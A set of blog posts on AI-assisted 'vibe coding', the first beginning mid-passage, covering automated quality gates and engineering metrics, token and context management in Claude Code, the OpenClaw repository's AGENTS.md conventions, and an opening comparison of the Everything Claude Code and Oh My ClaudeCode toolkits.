Skip the deep interview and the plan documentation, and implementation may look fast while review slows down, so total lead time grows again. Conversely, when the initial questions and the plan are sharp, AI becomes a far more useful execution engine.

Human-in-the-Loop Should Be an Exception Path, Not the Default

There is one important shift here. In a vibe coding organization, humans should not intervene at every step of the default path. If you automate only code generation while humans still read every review, the bottleneck merely moves downstream. Speed rises at the generation stage and collapses again at the review stage.

In such an environment, traditional metrics like PR cycle time or review participation rate are also poor candidates for core KPIs. When PRs are mostly self-merged or dominated by bot comments, the mere fact that “a review exists” is no longer evidence of quality assurance. What is needed is not more human review but better automated quality gates.

That is, the default path should look more like Machine-in-the-Loop than Human-in-the-Loop. The ideal flow:

• Generate the commit or proposed change
• Automatically run lint, type check, tests, secret scanning, and SAST
• Automatically run LLM-based code review
• Decide via multi-model consensus or a rule-based score threshold
• Auto-merge or land directly on pass
• Automatically watch for anomaly signals after deployment

Humans do not enter this flow every time. They design the thresholds, handle exceptions, and step in only when models disagree sharply or when security risk is high. Put differently, the human role is closer to “designer of the automated verification system and escalation owner” than to “reviewer who reads every line of code.”

Exception boundaries are still necessary, of course. Human approval may still be involved in areas such as:

• Authentication and authorization
• Payments and settlement
• Personal data processing
• Database schema changes
• External system permission integrations
• Infrastructure security configuration

Even here, the goal is not exhaustive manual review. Humans should focus on setting the guardrails while verification runs automatically. That is what makes it possible to automate code generation and review together.

Operating Metrics Should Center on Automated Quality Gates, Not PRs

At this point, the perspective on operating metrics has to change too. If a vibe coding organization keeps PR review time, review participation rate, and merge rate as core KPIs, the measurement system starts to distort reality. In an organization where direct commits and automated review have become the norm, these metrics are easily contaminated or simply obsolete.

Operating metrics should therefore be designed around how well the automation system is holding quality, rather than around traces of human collaboration.

First, team-level delivery trends. What matters is not per-person LOC competition but how steadily the whole team produces changes before and after the transition. Code change volume should be used only as a team-level trend indicator, never as an individual performance metric.

Second, team engineering health. Bundle signals such as commit granularity, focus of work area, deletion ratio, and message discipline to track engineering practice, and you can catch quality degradation fairly early even without PRs. A falling deletion ratio in particular can signal that AI-generated code is piling up without cleanup.

Third, the performance of the automated review system. For example: AI gate block rate, recurring failure types, security scan detection rate, missing-test detection rate, and inter-model disagreement rate. When using multi-model consensus in particular, the standard deviation can matter more than the average score, because changes with large model disagreement are the candidates for human intervention.

Fourth, post-deployment service health. Change failure rate, MTTR, rollback ratio, and the number of user-impacting incidents still matter. If problems in production increase even after review is automated, that automation has failed.

Fifth, anomaly signals in knowledge concentration and work patterns. Looking at whether changes cluster excessively on a small number of people, whether the team’s activity pattern is wobbling, and whether quality gate failures concentrate in specific areas lets you detect organizational risk earlier than people can. Knowledge distribution measures and outlier-based monitoring are useful in this context.

To summarize: the KPI of a vibe coding organization is no longer “how hard did people review.” It is “how accurately do the automated quality gates filter problems, and how steadily is the team shipping customer value.”

Automated Review Should Be Reasoned Automation, Not a Black Box

Automating review must not make the verification logic opaque. An automated review system should follow at least these principles:

• AI review results must record the reason for blocking along with the supporting evidence
• For important judgments, multiple models should vote to add stability, and if disagreement between models is large, escalate instead of auto-approving
• Do not show only a score — reveal which file, which pattern, and which missing test is the problem
• Use anomaly signals as input for system improvement rather than for punishing individuals

The goal of automation is not to exclude humans but to make them intervene only when they are genuinely needed. For that, automated review must be an evidence system that both machines can read and humans can understand — not a silent black box.

The Adoption Roadmap Should Start Small and Solidify the Operating System First

Company-wide big-bang adoption almost always fails. Validate with one small team first. The best pilot candidate is a product team that is open to change and also carries clear operational responsibility.

A realistic three-month roadmap generally follows this sequence:

%%{init: {
  'theme': 'base',
  'themeVariables': {
    'background': 'transparent',
    'primaryColor': '#2563eb',
    'primaryTextColor': '#f9fafb',
    'primaryBorderColor': '#93c5fd',
    'secondaryColor': '#0f766e',
    'secondaryTextColor': '#f9fafb',
    'secondaryBorderColor': '#5eead4',
    'tertiaryColor': '#7c3aed',
    'tertiaryTextColor': '#f9fafb',
    'tertiaryBorderColor': '#c4b5fd',
    'lineColor': '#94a3b8',
    'textColor': '#e5e7eb',
    'clusterBkg': '#111827',
    'clusterBorder': '#64748b',
    'defaultLinkColor': '#94a3b8'
  }
}}%%
flowchart LR
    W1["Weeks 1-2
Define guardrails
Tidy repo instructions"] --> W2["Weeks 3-7
Run pilot squad
Measure quality & risk"]
    W2 --> W3["Weeks 8-10
Build champion network
Roll out shared plugins"]
    W3 --> W4["Weeks 11-12
Realign KPIs
Embed onboarding & training"]

The principles to hold to during this process are clear: do not wait until the platform is perfect, but equally, do not dump the entire cost of experimentation on the delivery teams — and set your success criteria and stop criteria in advance.

For instance, eight weeks into the pilot you should be able to confirm three things:

• Are the AI gate block rate and recurring failure types stabilizing?
• Has the change failure rate not gotten worse?
• Has the team started updating the guidelines and automation rules on its own?

If you do not see these three, fixing the operations design comes before spreading the tools.

What You Ultimately Need Is Not an AI Team but an AI-Native Operating System

What the vibe coding era calls for is not “a few star players who are good with AI.” It is an operating system that lets anyone use AI safely above a certain baseline. The central platform provides standards, guardrails, and the shared plugin system; champions in the field translate context; and product teams own the outcome end to end. Only when those three interlock does vibe coding become an organizational capability rather than a passing fad.

To put it plainly, the core of adopting vibe coding is not replacing developers with AI. It is redesigning the organizational interfaces around writing, verifying, and shipping code. Repository instructions create local discipline; a shared plugin system creates reusability and control across the whole organization. What you need is not a vague race for speed but clearer accountability, better evidence, and stronger operational discipline.

AI can produce code. But turning that code into organizational results is still the job of organizational design.

Glossary

Some of the terms used in this post go by slightly different names in different products. The links below point to the official documentation that explains each concept most directly.

• AGENTS.md: In OpenAI Codex, a working-instruction file placed in a repository or subdirectory. It tells the agent which rules, commands, and constraints to follow. Official docs: Custom instructions with AGENTS.md
• CLAUDE.md / memory (rules): In Claude Code, a memory file that hierarchically loads persistent rules at the organization, project, and user levels. Company-wide rules can be distributed as global policy and team rules as project memory. Official docs: How Claude remembers your project
• Shared plugin: A unit in which an organization bundles common rules and automation for distribution. In this post it means an operational package that ships memory, skills, hooks, and MCP/connector settings together. Official docs: Plugins, Plugins reference
• Skill: An execution unit that defines a repeatable way of working in reusable form. It can be included inside a plugin or placed directly at the project or organization level. Official docs: Agent Skills, Agent Skills for Codex
• Hook: A policy and verification mechanism that attaches automatically to events such as session start, instruction load, and before/after tool execution. It can be used to block dangerous commands, force a deep interview to run first, and automate follow-up verification. Official docs: Hooks reference
• MCP / connectors: The standard connection layer through which a model accesses external tools and data context. It often surfaces as a connector in product UIs and as an MCP server in development runtimes. Official docs: Model Context Protocol, Get started with custom connectors using remote MCP
• Deep interview: The deep interview referred to in this post is not a specific vendor’s product name but an organizational operating pattern for structurally confirming requirement ambiguity, approval boundaries, data access, and exception handling during the research and planning stages. In practice it is usually built by combining memory, skills, and hooks. Official docs for the implementation building blocks: How Claude remembers your project, Agent Skills, Hooks reference

Running out of tokens is rarely a model performance problem. It is usually a problem with how you operate your context.

Use a vibe coding tool like Claude Code, Codex, or Gemini long enough and the same symptoms start showing up. Responses slow down, constraints you already agreed on get forgotten, and the model starts touching files that have nothing to do with the task. We usually describe this as “running out of tokens,” but what is actually happening is closer to context pollution, or context rot.

Reading back through the ideation notes I put together with Perplexity, the core point is clear. In real-world usage, most token consumption comes from input context rather than output, which means the best way to solve the problem is not a “bigger model” but a “cleaner context.” Building on that material, this post lays out principles for token management centered on practical operating strategy rather than a tour of tool features.

TL;DR

• Running out of tokens is not simply a quota problem; treat it as context pollution caused by conversation, logs, and documents getting tangled together.
• The habits that shrink scope come first: .claudeignore, splitting up work documents, /clear and /compact, and handoff documents.
• Good vibe coding is less about long prompts and more about designing context so the model sees only what it needs right now.

Why tokens run out first

When a long session keeps accumulating, the problem shows up on two levels. One is simply hitting the token limit; the other, which arrives sooner, is degraded quality. When conversation logs, failed attempts, provisional hypotheses, long build logs, and the context of already-finished work all linger, the model has a harder time distinguishing what matters now from what has already been discarded.

This is not solved by context window size alone. A long context lets you hold more information, but it offers no guarantee that the information inside it is well organized. That is why the heart of token management is selection rather than conservation for its own sake.

Strategy 1: Use .claudeignore to block what should never be read in the first place

Measured against real numbers, the single highest-ROI action is configuring .claudeignore. In the cases cited in the ideation document, simply excluding node_modules, build artifacts, logs, binaries, large images, and lock files is reported to deliver savings on the order of 30–40%.¹²

Here is roughly what it looks like.

node_modules/
.next/
dist/
build/
coverage/
.cache/
*.log
*.db
*.sqlite
.env*
*.png
*.jpg
*.gif
*.mp4

The essence of this strategy is not thrift. It is preventing the model from seeing information that would not help it anyway. Lock files and build artifacts in particular eat a lot of tokens while carrying almost no inferential value.

Strategy 2: Do not cram everything into tasks.md — split it into an index structure

One of the most striking cases in the ideation document is a team that divided a single large tasks.md into per-domain documents plus an INDEX.md structure and achieved 76.1% savings.³

tasks/
├── INDEX.md
├── backend.md
├── frontend.md
├── infra.md
├── security.md
└── archive/

The reason this structure works is simple: not every task requires reading every task. For a general status check, INDEX.md is enough; for a specific piece of work, only the relevant domain file needs to be read. Completed history moves to archive/ and disappears from the current session’s workbench.

Token management, in the end, is partly a problem of document information architecture.

Strategy 3: Do not drag sessions out — use /clear and /compact deliberately

For Claude Code specifically, the most immediately effective method is using /clear and /compact strategically.⁴⁵

• Use /clear when you want to reset the working context completely.
• Use /compact to summarize the conversation history while keeping only what matters.
• It is an effective habit to run compact right after a long debugging session, when you finish a feature, or when context usage reaches around 70%.⁵

The key is shaking off the illusion that keeping a long conversation alive is productive. Rather than being drawn out, a session should be something you can cut short and restart.

Strategy 4: Leave a handoff document and move to a new session

If you want to end sessions frequently, the cost of resuming has to be low. The simplest and most powerful approach here is keeping a short handoff document such as HANDOFF.md.⁶

Something like the following is enough.

Goal: fix the race condition in the login flow
Files changed: auth_service.ts, login_controller.ts
Confirmed: not a DB issue — it is a duplicate API call
Failed attempt: applying a mutex caused side effects, rolled back
Next: evaluate an idempotency key approach
Done when: the duplicate-login reproduction test passes

The purpose of this document is not to preserve a long record. It is to leave behind just enough direction for the next session to start working immediately.

Strategy 5: Go through Plan mode first and implement later

Throw a large task straight into execution mode and the model handles exploration, design, and implementation all at once within the same cost center. That approach involves a lot of trial and error and burns a lot of tokens. The ideation material concludes that the habit of going through Plan mode first to narrow scope before moving into implementation contributes 20–30% savings.²

The principle is very simple.

1. First find the relevant files and the scope of impact.
2. Briefly plan the candidate files to modify and the approach.
3. Cut the unnecessary scope out of the plan.
4. Only then implement.

In other words, saving tokens has less to do with the skill of writing short prompts and more to do with design habits that eliminate unnecessary trial and error up front.

Strategy 6: Move repeated explanations into CLAUDE.md and manage it hierarchically

Plenty of teams re-explain project structure, style guide, prohibited practices, and testing approach every single session. Over the long run this is the most expensive kind of token waste. The ideation document likewise recommends a pattern of layering CLAUDE.md at the global, project, and module levels.⁷

~/
└── CLAUDE.md
project/
├── CLAUDE.md
├── backend/CLAUDE.md
└── frontend/CLAUDE.md

The advantage of this structure is clear. Rules that are always needed sit at the top; information needed only in a specific domain sits in the lower module files. That way, not every session has to carry around the same heavy rules file in its entirety.

The following items are especially useful in CLAUDE.md.⁷⁸

• Core tech stack and architecture
• Coding conventions
• Current sprint goals and blockers
• Information that must survive a compact
• Load on Demand links out to more detailed documents

Put differently, a good CLAUDE.md is not a document that holds everything. It is closer to an index that decides what to read right now and what to read later.

Strategy 7: Use Skills aggressively to turn documents from “always loaded” into “loaded when needed”

Go one step further and CLAUDE.md alone is not enough. Repeatedly invoked workflows, domain-specific procedures, review criteria, deployment checklists, security review routines — things like these are far better externalized into a skill.

Anthropic’s official Skills guide explains this point quite clearly.⁹ Skills fundamentally have a three-stage progressive disclosure structure.

• The YAML frontmatter is always loaded.
• The body of SKILL.md is loaded only when that skill is judged to be relevant.
• Linked documents such as those under references/ are explored further only when needed.

In other words, the core value of a skill is not “packing in a lot of knowledge” but not packing all of that knowledge in at once. Combine this with subagents and the effect grows. Anthropic’s subagent documentation likewise explains that subagents use a separate context window from the main conversation, reducing pollution of the main session.¹⁰

One thing does need to be stated precisely here. Anthropic’s official documentation does not directly prescribe “keep every document under 200 lines.” What the official guide says is a more general principle: SKILL.md should hold only the core instructions, detailed documentation should be pulled out into references/, and if significant context issues arise, SKILL.md should be kept under 5,000 words.⁹ The practical rule I want to add on top of that is more aggressive. Document fragments that will actually be referenced are better split into chunks of under 200 lines. That keeps the unit from getting too large when a skill picks out only the documents it needs.

For example, a layout like the following works better.

.claude/
├── CLAUDE.md
├── agents/
│   └── code-reviewer.md
└── skills/
    └── security-review/
        ├── SKILL.md
        └── references/
            ├── auth-checklist.md
            ├── input-validation.md
            └── secrets-policy.md

This structure has two advantages. First, all that remains in the main session is “when to use this skill.” Second, the detailed documents come in only when they are actually needed. The token savings happen at that second stage.

The measured data points in a similar direction. SkillsBench reports that across seven model/harness combinations, curated skills produced an average +16.2 percentage point improvement in success rate.¹¹ Claude Code Opus 4.6 went from 30.6% to 44.5%, Codex GPT-5.2 from 30.6% to 44.7%, and Claude Code Sonnet 4.5 from 17.3% to 31.8%.¹¹ The more interesting part is tokens. In that study, skills did not unconditionally reduce tokens in every environment. On GPT-5.2 and Gemini 3 Flash, total tokens rose 6–13% as skill context was added. By contrast, Gemini 3 Pro saw total tokens fall about 6%, and Claude Code Opus 4.6 saw observable input tokens drop about 26%, from 1,947K to 1,448K.¹¹

What these numbers say is clear. A skill is not “a technique for stuffing in more documentation” but a technique for reducing exploration and reusing procedures. A well-designed skill can lower total tokens by cutting trial and error, but conversely, skills that are too large, too numerous, or loaded wholesale become context debt instead.

In conclusion, the core of a skill strategy comes down to these three lines.

• Promote frequently repeated procedures into skills.
• Keep SKILL.md short and separate detailed documentation into references/.
• Keep the documents that will actually be referenced small enough that on-demand loading is meaningful.

Strategy 8: Isolate large logs and search work into subagents or separate sessions

Web searches, long log analysis, build output review, and broad code exploration all produce lengthy output. Handling this kind of work directly in the main session pollutes context fast. The ideation material also recommends delegating such high-noise work to a subagent and taking back only a summary of the results into the main context.¹²

This pattern applies just as well to Codex and Gemini CLI as it does to Claude Code. What matters is less which tool you use and more not mixing noisy work and decision-making work in the same session.

Strategy 9: Make search-based context injection the default

In a large codebase, having whole files read in as-is does not hold up for long. The ideation document also introduces an advanced pattern of building a dependency graph at the function or symbol level and supplying only the fragments needed; there are even cases showing that this approach can achieve savings of over 80% by measured numbers.¹³

Of course, not every team needs to build an MCP server or a dependency graph right away. But the principle can be applied immediately.

• Search first.
• Narrow down to the relevant files and symbols.
• Put only those fragments into context.

That is, instead of dumping the entire repository, search-then-inject should be the default.

Strategy 10: An MCP server costs you something just by being switched on

MCP is powerful, but the more servers and tools are active, the more the context and system instructions swell. As the ideation document points out, keeping MCPs unrelated to the current work permanently on is a way of eating into your budget before the first prompt is even sent.¹⁴

So the right MCP strategy is not “connect a lot” but “connect only when needed.” In the long run, this too is part of progressive disclosure.

Strategy 11: Separate roles by tool

The ideation material characterizes Claude Code, Codex, and Gemini as each having different traits.¹⁵¹⁶¹⁷

• Claude Code is strong at complex reasoning and debugging, but session management matters.
• Gemini CLI is advantageous for long-context analysis, but an exclusion strategy such as .geminiignore is essential.
• Codex handles relatively large contexts, but is ultimately not exempt from the principles of compaction and scope management.

Which is to say: do not use every tool the same way. Separating roles — leaving whole-codebase mapping to the long-context tool and handing the actual edits to short, focused sessions — is better for both cost and quality.

Antipatterns

Conversely, the following patterns almost always create token debt.

• Broad requests like “look at the whole project and figure it out”
• Accumulating exploration, implementation, debugging, and retrospective all in a single session
• A structure that always loads a huge tasks.md, a giant rules file, or a bloated skill in its entirety
• A structure that crams all background knowledge into one file inside a skill and effectively never uses references/
• The habit of pasting in build logs, diffs, and search results uncompressed
• Configurations that keep MCP servers and tools unrelated to the current work permanently enabled
• The attitude that a large context window means you do not have to tidy up

A long context only lets you hold more garbage. It does not help you pick out the important information any better.

A realistic order of adoption

The body of this post is largely ordered by savings efficiency, but the order in which you actually start can shift somewhat depending on team size and capacity to invest. In practice, it is usually easiest to think of it in the three stages below.

1. Apply immediately .claudeignore, splitting tasks.md, /clear and /compact, handoff documents
2. Establish within the week Plan mode, slimming down CLAUDE.md, promoting repeated procedures into skills
3. Structural investment after that Subagent isolation, search-based context serving, MCP minimization, role separation by tool

In other words, most teams can feel a big difference by changing nothing more than document structure and session habits, well before any advanced infrastructure.

Conclusion

A token management strategy for vibe coding ultimately comes down to one sentence. Do not show the model a lot; show it exactly what is needed right now. Keep sessions short, externalize repeated explanations into documents and skills, break large tasks into an index and a planning stage, and isolate noisy work into separate sessions.

The reason teams that conserve tokens are more productive is not that they spend less money. It is that they left the model less room to get confused. A good vibe coder is not someone who writes long prompts, but someone who designs context.

“I used to lead a team. I had a lot of software engineers under me. Even then, I had to accept that they would not write code exactly the way I wanted it written.” – Peter Steinberger¹

OpenClaw is the most-starred software repository on GitHub (310K+ stars) and the definitive case study in large-scale AI-assisted “vibe coding.”² Built by Austrian developer Peter Steinberger using three to eight parallel AI agent instances,³ the project demonstrates that a single developer can orchestrate a 300K+ LOC TypeScript monorepo, more than 20 messaging integrations, and native apps for three platforms — while barely reading most of the code.¹

The project’s name went through a turbulent journey. It began in November 2025 as Clawdbot, a prototype built in an hour on top of Anthropic’s Claude. After going public on GitHub in January 2026, it exploded to 9,000 stars in a single day, but a trademark warning from Anthropic forced a rename to Moltbot. Then, after security incidents involving impersonation accounts and malicious npm packages, it was renamed again just three days later to OpenClaw.⁴ In February 2026, Steinberger joined OpenAI to lead “the next generation of personal agents,” and OpenClaw was transferred to an independent foundation backed by OpenAI.⁵

Ironically, Steinberger himself calls the phrase “vibe coding” a slur and prefers “agentic engineering,”⁶ yet OpenClaw became the flagship project of that very movement.⁷ This post analyzes OpenClaw’s repository structure, workflows, and community operations, and distills the actionable best practices found there.

TL;DR

• OpenClaw is the definitive vibe coding case in which a single developer coordinated multiple AI agents to run a large TypeScript monorepo and native apps.
• The core patterns are a living AGENTS.md, clear PR norms, automated quality gates, and rules for coordinating parallel agents.
• Mastery in vibe coding shifts away from the ability to write a lot of code yourself, toward the ability to design and control the system that writes the code.

1. What OpenClaw Actually Does

OpenClaw is a self-hosted personal AI assistant that connects messaging platforms to large language models. Unlike the web interfaces of ChatGPT or Claude, OpenClaw runs on the user’s local machine and plugs into the channels the user already inhabits. It supports more than 15 channels, including WhatsApp, Telegram, Discord, Slack, Signal, iMessage, Microsoft Teams, Matrix, and LINE. The README puts it simply: “A personal AI assistant that runs right on your device.”⁸

The heart of the architecture is a local Gateway daemon. It is a WebSocket-based control plane running on port 18789 that routes incoming messages to independent AI agents. Each agent has its own workspace, memory, and personality defined by Markdown files (SOUL.md, MEMORY.md, USER.md).⁹ The agents do more than talk. They run shell commands, control browsers via CDP, manage schedules, execute cron jobs, and even reach out proactively through a heartbeat system.¹⁰ A skills marketplace called ClawHub hosts more than 1,700 community-built extensions.¹¹

The tech stack is a TypeScript-based pnpm monorepo (Node.js 22+), plus native companion apps written in Swift (macOS/iOS) and Kotlin (Android). Testing runs on Vitest with a 70%+ V8 coverage threshold.¹²

2. Traces of AI-Assisted Development Visible in the Repository

The clearest evidence of vibe coding lives in the commit history. Because early development used Anthropic’s Claude Code, “claude” appears frequently as a co-author on commits. After Steinberger joined OpenAI in February 2026, however, branches autonomously generated by the OpenAI Codex agent — names like codex/issue-issue-41258-20260312044119 — increased markedly. A single repository now carries traces of two AI coding agents, Claude and Codex, side by side. The README states it outright: “AI/vibe-coded PRs welcome!”⁸

Steinberger’s personal workflow is especially striking. He runs three to eight Codex CLI instances simultaneously in a 3x3 terminal grid, and most of them work in the same folder rather than in separate worktrees.³ Each agent makes atomic commits guided by the rules in AGENTS.md. He landed more than 6,600 commits in January 2026 alone — outwardly the pace of a 20-person team, but in reality one person combined with AI agents.¹ His prompts have grown shorter over time; these days one or two sentences plus a single screenshot is usually enough, with screenshots accounting for about 50% of the input.¹³

CONTRIBUTING.md codifies how the community should handle AI-assisted PRs.¹⁴

• Disclose AI usage in the PR title or description
• State the level of testing (untested / lightly tested / thoroughly tested)
• Include the prompt or session log where possible
• Confirm that you understand what the generated code does

The document closes this way: “We treat AI PRs as first-class citizens here. We just want transparency so reviewers know where to focus.”¹⁴

3. The AGENTS.md and CLAUDE.md Configuration Pattern

The most reproducible innovation in the OpenClaw repository is the AGENTS.md file.¹² It is a comprehensive instruction document for every AI coding agent working in the codebase. CLAUDE.md is a symlink pointing to the same file, guaranteeing that Claude Code and Codex-family agents read identical instructions. The rule is explicit: “When you add a new AGENTS.md anywhere in the repo, you must also add a CLAUDE.md symlink pointing to it.”¹²

The file operates as organizational memory for AI agents. Steinberger describes it as “a collection of organizational scar tissue,” because Codex itself has incrementally added content every time something went wrong.¹³ Its key sections:

• Build and test commands: Spelled out precisely — pnpm build, pnpm check, pnpm test, and pnpm tsgo for fast type checking
• Git conventions: Conventional Commits enforced with subsystem scopes such as fix(telegram): and feat(skills):, plus a required git pull --rebase before pushing
• Multi-agent safety rules: Never create, apply, or drop a git stash; never switch branches unless asked; if you find changes you do not recognize, assume another agent is working and carry on
• Changelog rules: Add only user-meaningful entries at the end of the section, and credit external contributors with the Thanks @author pattern
• Security boundaries: Never commit real phone numbers, production configuration values, or video files

At the broader community level, automated code review is mandatory. If the GitHub Codex review does not run automatically, contributors must run codex review --base origin/main locally and treat the results as a required review task.¹⁴

4. PR Patterns and Automation at Scale

OpenClaw handles roughly 14 new PRs per day, with 5,500+ open PRs and 19,000+ closed PRs at any given moment.¹⁵ That volume demands aggressive automation. The repository defines 58 labels in total, split by component (agents, cli, gateway, docker), channel (channel: telegram, channel: discord, channel: whatsapp-web), and type (docs, enhancement, bug).⁹

Several bots participate in the review process. The openclaw-barnacle bot handles auto-labeling and auto-response, Greptile-apps performs automated code analysis, and aisle-research-bot leaves review comments. The .github/workflows/auto-response.yml workflow automatically closes and locks issues matching specific patterns — TestFlight requests, third-party extension proposals, spam, and so on.¹⁵

VISION.md imposes strong limits: one PR should address exactly one issue or topic, unrelated fixes should not be bundled, and PRs changing roughly 5,000 lines or more are reviewed only in exceptional cases.¹⁶ The CI pipeline includes the main test suite, install smoke tests, workflow health checks, and the auto-labeler, and the coverage bar requires 70%+ across lines, branches, functions, and statements alike.¹²

5. Nine Best Practices Distilled from the Vibe Coding Workflow

OpenClaw’s official Vibe Coding skill (1,700+ stars on ClawHub) codifies this methodology into a set of rules.¹⁷ Combine that with Steinberger’s publicly documented workflow and the repository’s actual practices, and the most actionable patterns come out as follows.

5.1 Maintain a Living AGENTS.md File

This is the highest-leverage practice. Write it incrementally — add a rule every time an AI agent makes a mistake. Symlink it to CLAUDE.md for tool compatibility. Steinberger’s file runs about 300 lines and covers git conventions, test commands, architectural patterns, file length limits (roughly 500 LOC), and multi-agent coordination rules. It converts oral tradition into machine-readable institutional memory.¹²¹³

5.2 Use a Research → Plan → Implement Workflow

Have the AI explore the existing code before it implements anything. For example: “Read the auth module and explain how sessions work.” Then have it propose a plan: “List the files you will modify and what changes in each one.” Only after reviewing the plan do you move to implementation. “Catching a misunderstanding at the planning stage is 10x cheaper than debugging a cascade of errors.”¹⁷

5.3 Enforce Conventional Commits with Subsystem Scopes

The type(scope): description pattern — for instance fix(telegram): resolve TypeError in status command — produces a machine-parsable history that AI agents can understand and that enables automated changelog generation. Use a committer helper script so that staging stays limited to the intended files.¹²

5.4 Treat AI Agents Like Junior Engineers You Manage

This is Steinberger’s central analogy. Human effort should concentrate on system architecture and taste — the ability to distinguish a solution that works from a solution that is elegant. Delegate implementation, boilerplate, and refactoring to the agents.¹

5.5 Run Parallel Agents with Explicit Coordination Rules

Multiple agents can work concurrently even in the same folder — provided AGENTS.md spells out the following. Check git status and git diff before modifying anything. Make atomic commits. Do not touch stashes or switch branches. If you see a change you do not understand, treat it as another agent’s work and keep going. That is what turns “vibe coding” from a single-player game into a multiplayer orchestration problem.¹²³

5.6 Treat AI PRs as First-Class Citizens, with Transparency Guaranteed

Require contributors to disclose AI tool usage, state the level of testing, attach prompts or session logs, and confirm their understanding of the generated code. This is not about erecting barriers to entry. It gives reviewers the context they need to focus on the places where subtle AI-generated bugs are most likely to hide.¹⁴

5.7 Automate Everything That Does Not Require Taste

OpenClaw uses auto-labeling, auto-response workflows, automated code review bots, stale issue management, secret detection, dead code analysis, and duplicate checking. The human role is architecture and quality judgment. Everything else should be automated or delegated to agents.¹⁵

5.8 Know When to Intervene and When to Let It Flow

Hand scaffolding, UI components, boilerplate, and exploratory work to the AI. On the other hand, authentication, payments, data processing, database schemas, API permissions, and anything touching security require manual intervention. And always test after every change. AI produces code that is “seemingly perfect but subtly buggy.”¹⁷

5.9 Anchor Constraints in Your Prompts

Give explicit boundaries: line limits (“50 lines or fewer”), output format limits (“only the modified function, not the whole file”), scope anchors (“payment flow only, do not touch auth”), and style directives (“follow the existing patterns in UserService.ts”). Vague prompts produce vague results.¹⁷

Conclusion

The OpenClaw repository shows that production-scale vibe coding is not about abandoning engineering discipline but about relocating it. This project’s 1,200+ contributors, 19,000+ merged PRs, and 18,000+ commits run on exactly the principles that make large software projects possible: clear conventions, automated enforcement, structured communication, and explicit boundaries.

The innovation lies in who executes. AI agents handle implementation; humans take architecture, taste, and coordination. The AGENTS.md (CLAUDE.md) pattern — a living, incrementally grown instruction file that accumulates “organizational scar tissue”¹³ — is the most easily transferable practice of all.

Steinberger’s trajectory, moving from detailed specifications (June 2025) to short screenshot-driven prompts (late 2025) and then to running three to eight parallel agents with minimal supervision (2026), traces the learning curve every vibe coder will follow.³ The lesson is not that code no longer matters. It is that the center of gravity in software engineering has shifted: from mastery of writing code to mastery of designing the system that writes it. Accumulating a 300-line AGENTS.md, establishing a 70% coverage baseline, and designing multi-agent conflict rules is not bricklaying — it is architecture. And that architecture, too, demands a mastery that does not come easily.

Everything Claude Code (ECC) hands developers a rich set of tools and guidelines. Its approach is to improve the output by making you follow optimal development habits and patterns. Oh My ClaudeCode (OMC), by contrast, automatically orchestrates multiple agents without any complicated setup. It focuses on getting results fast.

I covered each of these in two earlier posts, Everything Claude Code Distilled and Oh My ClaudeCode Distilled. In this post I compare the two tools currently generating the most buzz in the vibe coding community, to help you choose between them.

Here I compare the two GitHub open source projects — Everything Claude Code (affaan-m) and Oh My ClaudeCode (Yeachan-Heo) — from an adoption perspective.¹²

TL;DR

• ECC is closer to a configurable toolbox, strong on quality, verification loops, and fine-grained control.
• OMC is an automation-first approach that leads with parallel execution, automatic orchestration, and a low learning burden.
• For team adoption, ECC fits better when long-term quality and standardization matter, and OMC fits better when rapid prototyping and parallel acceleration matter.

Comparison Summary

Feature Comparison and Analysis

Everything Claude Code (ECC)

ECC is a collection that consolidates the components you need to get the most out of Claude Code.¹ Stock Claude Code uses only a single agent. ECC adds a variety of subagents, domain-specific skills, and automatically triggered hooks.¹ Examples include specialist agents such as planner, architect, code-reviewer, and security-reviewer. It also ships knowledge skill templates covering things like React/Next.js frontend patterns and database patterns.¹

Slash commands such as /plan, /tdd, /code-review, and /build-fix let you run specific tasks immediately.¹ The intent is that you no longer have to write a prompt from scratch for every workflow. It also includes memory management (saving and reloading context across sessions), continuous learning (extracting patterns from a session and storing them as skills), and automatic context compaction.¹ These are the key elements that overcome the limits of long sessions and make continuous project progress possible. For these reasons ECC provides a comprehensive environment. One Medium review even likened it to “an operating system for Claude Code.”³

That said, ECC’s approach is to extend the basic Claude Code frame. It does not include features like concurrent parallel processing or advanced mode switching. A single agent performs a series of tasks sequentially. ECC’s role is to support that process through agent specialization and automation tooling. The feature set is rich. In exchange, the user has to decide which tool to use and when. It has the strong character of a configurable toolkit.

Oh My ClaudeCode (OMC)

OMC differs from ECC starting from its feature-planning philosophy. It was designed around the goal that “the user shouldn’t have to learn anything; it figures out the optimal approach on its own.”² Its most striking feature is the five execution modes.²

• Autopilot: fully automatic mode
• Ultrapilot: parallel acceleration mode
• Swarm: multiple agents collaborating on a task pool
• Pipeline: chaining tasks into a sequential pipeline
• Ecomode: a mode that prioritizes token savings

Different strategies are applied automatically depending on the situation. For example, when writing backend and frontend code simultaneously in one project, Ultrapilot deploys multiple agents in parallel to increase speed. When the order of steps matters, as with testing or refactoring, Pipeline guarantees the sequence.⁴

OMC includes 32 specialist agents similar to ECC’s.² The difference is that rather than invoking them yourself, you give instructions in natural language and OMC selects the right agent. It even decides the parallel or sequential execution strategy.² Its smart model routing feature uses cheap, fast models (Haiku, for instance) for simple tasks and powerful models (Opus) for complex reasoning.² That is how it balances cost and performance. This kind of automation is a strength that spares users effort on large projects and multi-stage work.

On the other hand, OMC’s weakness is the risk that comes with complexity. Multiple agents work in an entangled fashion. When something goes wrong, tracing the cause is hard.⁵ There has also been criticism that the quality of automatically delegated agents is not always uniform.⁵ The point is that the limits of the “tell Claude to act like an expert in each field” prompting approach remain. Even so, continuous improvement is chipping away at those weaknesses. SQLite-based task coordination, among other things, raises collaboration reliability.²

Conclusion

On features, ECC is a tool collection that supports the entire development process in fine detail. OMC, in effect, automates the use of those tools to raise convenience and scalability. Sophisticated TDD and verification flows and session persistence are ECC’s strengths. Parallel processing and automatic orchestration are OMC’s unique strengths. If you need organizational code quality management or support for long sessions, ECC is the richer option. If you want a fast development cycle without separate customization, OMC’s feature set has the advantage.

Usability Comparison and Analysis

Everything Claude Code (ECC)

Installing and configuring ECC is not difficult if you are familiar with the Claude Code CLI environment. The officially recommended method is to add it as a Claude Code plugin.¹ Entering just the marketplace-add command and the install command activates the ECC components.¹ Once installation finishes, agents, skills, hooks, and so on are registered in the ~/.claude/ directory. You can then use commands like /tdd and /plan directly in Claude Code. Cross-platform support is in place, so Windows can be set up with the same procedure without extra shell configuration.¹

